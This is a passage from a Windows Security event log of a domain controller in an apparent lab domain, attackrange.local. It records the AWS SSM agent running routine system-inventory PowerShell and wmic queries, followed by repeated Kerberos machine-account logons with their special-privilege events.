Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: wmic OS get OperatingSystemSKU /format:list - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248276 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf78 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-CimInstance Win32_OperatingSystem" "| Select-Object" "Version, OperatingSystemSKU" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248281 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf1c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-CimInstance Win32_PnPSignedDriver | Where-Object { $_.DeviceID -eq 'XENBUS\VEN_XS0001&DEV_VBD&REV_00000001\_' -or $_.DeviceClass -eq 'Net' -and ( $_.Manufacturer -like 'Intel*' -or $_.Manufacturer -eq 'Citrix Systems, Inc.' -or $_.Manufacturer -eq 'Amazon Inc.' -or $_.Manufacturer -eq 'Amazon Web Services, Inc.' )}" "| Select-Object" "Description, DriverVersion" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248280 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-CimInstance Win32_PnPEntity | Where-Object { $_.Service -eq 'xenvbd' }" "| Select-Object" DeviceID "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248279 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd54 - New Process Name: C:\Windows\System32\wbem\WMIC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: wmic OS get OperatingSystemSKU /format:list - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248282 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfac - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe60 - Creator Process Name: C:\Program Files\Amazon\SSM\ssm-agent-worker.exe - Process Command Line: powershell "Get-WinEvent -FilterHashtable @( @{ LogName='System'; ProviderName='Microsoft-Windows-Kernel-General'; Id=12; Level=4 }, @{ LogName='System'; ProviderName='Microsoft-Windows-WER-SystemErrorReporting'; Id=1001; Level=2 } ) | Sort-Object TimeCreated -Descending" "| Select-Object" "Id, Level, ProviderName, TimeCreated, Properties" "| ConvertTo-Json -Depth 3" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248347 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81DF2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248346 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81DF2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248345 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81D7A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248344 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81D7A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248343 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81D02 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248342 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81D02 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248341 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81C8A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248340 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81C8A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248339 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81C12 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248338 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81C12 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248337 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81B9A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248336 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81B9A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248335 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81B22 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248334 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81B22 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248333 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81AAA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248332 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x81AAA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:45:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248331 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x81A32 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: 